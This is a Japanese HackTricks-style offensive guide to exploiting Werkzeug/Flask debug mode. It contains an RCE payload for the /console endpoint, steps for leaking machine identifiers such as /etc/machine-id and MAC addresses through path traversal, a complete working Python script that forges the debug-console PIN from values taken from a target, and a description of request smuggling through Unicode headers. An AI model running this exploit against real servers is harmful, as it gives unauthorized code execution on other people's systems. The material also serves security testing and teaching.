Werkzeug / Flask デバッグ
Reading time: 9 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
コンソール RCE
デバッグが有効な場合、/console
にアクセスして RCE を取得することができます。
__import__('os').popen('whoami').read();
インターネット上には、これやmetasploitのものなど、いくつかのエクスプロイトがあります。
ピン保護 - パス・トラバーサル
場合によっては、/console
エンドポイントがピンで保護されることがあります。ファイルトラバーサルの脆弱性がある場合、そのピンを生成するために必要な情報をすべて漏洩させることができます。
Werkzeug コンソール PIN エクスプロイト
アプリでデバッグエラーページを強制的に表示させて、これを確認します:
The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
shell that runs the server
"console locked" シナリオに関するメッセージは、Werkzeugのデバッグインターフェースにアクセスしようとした際に表示され、コンソールを解除するためにPINが必要であることを示しています。コンソールPINを悪用するために、Werkzeugのデバッグ初期化ファイル(__init__.py
)におけるPIN生成アルゴリズムを分析することが提案されています。PIN生成メカニズムは、Werkzeug source code repository から調査できますが、バージョンの不一致の可能性があるため、実際のサーバーコードをファイルトラバーサル脆弱性を通じて取得することが推奨されます。
コンソールPINを悪用するには、probably_public_bits
と private_bits
の2セットの変数が必要です:
probably_public_bits
username
: Flaskセッションを開始したユーザーを指します。modname
: 通常はflask.app
と指定されます。getattr(app, '__name__', getattr(app.__class__, '__name__'))
: 一般的に Flask に解決されます。getattr(mod, '__file__', None)
: Flaskディレクトリ内のapp.py
へのフルパスを表します(例:/usr/local/lib/python3.5/dist-packages/flask/app.py
)。app.py
が適用できない場合は、app.pyc
を試してください。
private_bits
-
uuid.getnode()
: 現在のマシンのMACアドレスを取得し、str(uuid.getnode())
によって10進形式に変換されます。 -
サーバーのMACアドレスを特定するには、アプリで使用されているアクティブなネットワークインターフェース(例:
ens3
)を特定する必要があります。不明な場合は、/proc/net/arp
をリークしてデバイスIDを見つけ、次に/sys/class/net/<device id>/address
からMACアドレスを抽出します。 -
16進数のMACアドレスを10進数に変換する方法は以下の通りです:
# 例のMACアドレス: 56:00:02:7a:23:ac
>>> print(0x5600027a23ac)
94558041547692
get_machine_id()
:/etc/machine-id
または/proc/sys/kernel/random/boot_id
からのデータを、最後のスラッシュ(/
)以降の/proc/self/cgroup
の最初の行と連結します。
`get_machine_id()` のコード
def get_machine_id() -> t.Optional[t.Union[str, bytes]]:
global _machine_id
if _machine_id is not None:
return _machine_id
def _generate() -> t.Optional[t.Union[str, bytes]]:
linux = b""
# machine-id is stable across boots, boot_id is not.
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
try:
with open(filename, "rb") as f:
value = f.readline().strip()
except OSError:
continue
if value:
linux += value
break
# Containers share the same machine id, add some cgroup
# information. This is used outside containers too but should be
# relatively stable across boots.
try:
with open("/proc/self/cgroup", "rb") as f:
linux += f.readline().strip().rpartition(b"/")[2]
except OSError:
pass
if linux:
return linux
# On OS X, use ioreg to get the computer's serial number.
try:
必要なデータをすべて収集した後、エクスプロイトスクリプトを実行してWerkzeugコンソールPINを生成できます。
必要なデータをすべて収集した後、エクスプロイトスクリプトを実行してWerkzeugコンソールPINを生成できます。スクリプトは、組み立てられたprobably_public_bits
とprivate_bits
を使用してハッシュを作成し、その後さらに処理を行って最終的なPINを生成します。以下は、このプロセスを実行するためのPythonコードです:
import hashlib
from itertools import chain
probably_public_bits = [
'web3_user', # username
'flask.app', # modname
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'279275995014060', # str(uuid.getnode()), /sys/class/net/ens33/address
'd4e6cb65d59544f3331ea0425dc555a1' # get_machine_id(), /etc/machine-id
]
# h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
# h.update(b'shittysalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
このスクリプトは、連結されたビットをハッシュ化し、特定のソルト(cookiesalt
と pinsalt
)を追加し、出力をフォーマットすることでPINを生成します。probably_public_bits
と private_bits
の実際の値は、生成されたPINがWerkzeugコンソールで期待されるものと一致するように、ターゲットシステムから正確に取得する必要があることに注意することが重要です。
tip
古いバージョンのWerkzeugを使用している場合は、ハッシュアルゴリズムをsha1の代わりにmd5に変更してみてください。
Werkzeug Unicode文字
この問題で観察されたように、WerkzeugはヘッダーにUnicode文字が含まれるリクエストを閉じません。そして、この解説で説明されているように、これによりCL.0リクエストスムージングの脆弱性が発生する可能性があります。
これは、WerkzeugではいくつかのUnicode文字を送信することが可能であり、それがサーバーを壊すことになるからです。しかし、HTTP接続が**Connection: keep-alive
ヘッダーで作成された場合、リクエストのボディは読み取られず、接続はまだオープンのままとなり、リクエストのボディは次のHTTPリクエスト**として扱われます。
自動化された悪用
参考文献
- https://www.daehee.com/werkzeug-console-pin-exploit/
- https://ctftime.org/writeup/17955
- https://github.com/pallets/werkzeug/issues/2833
- https://mizu.re/post/twisty-python
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。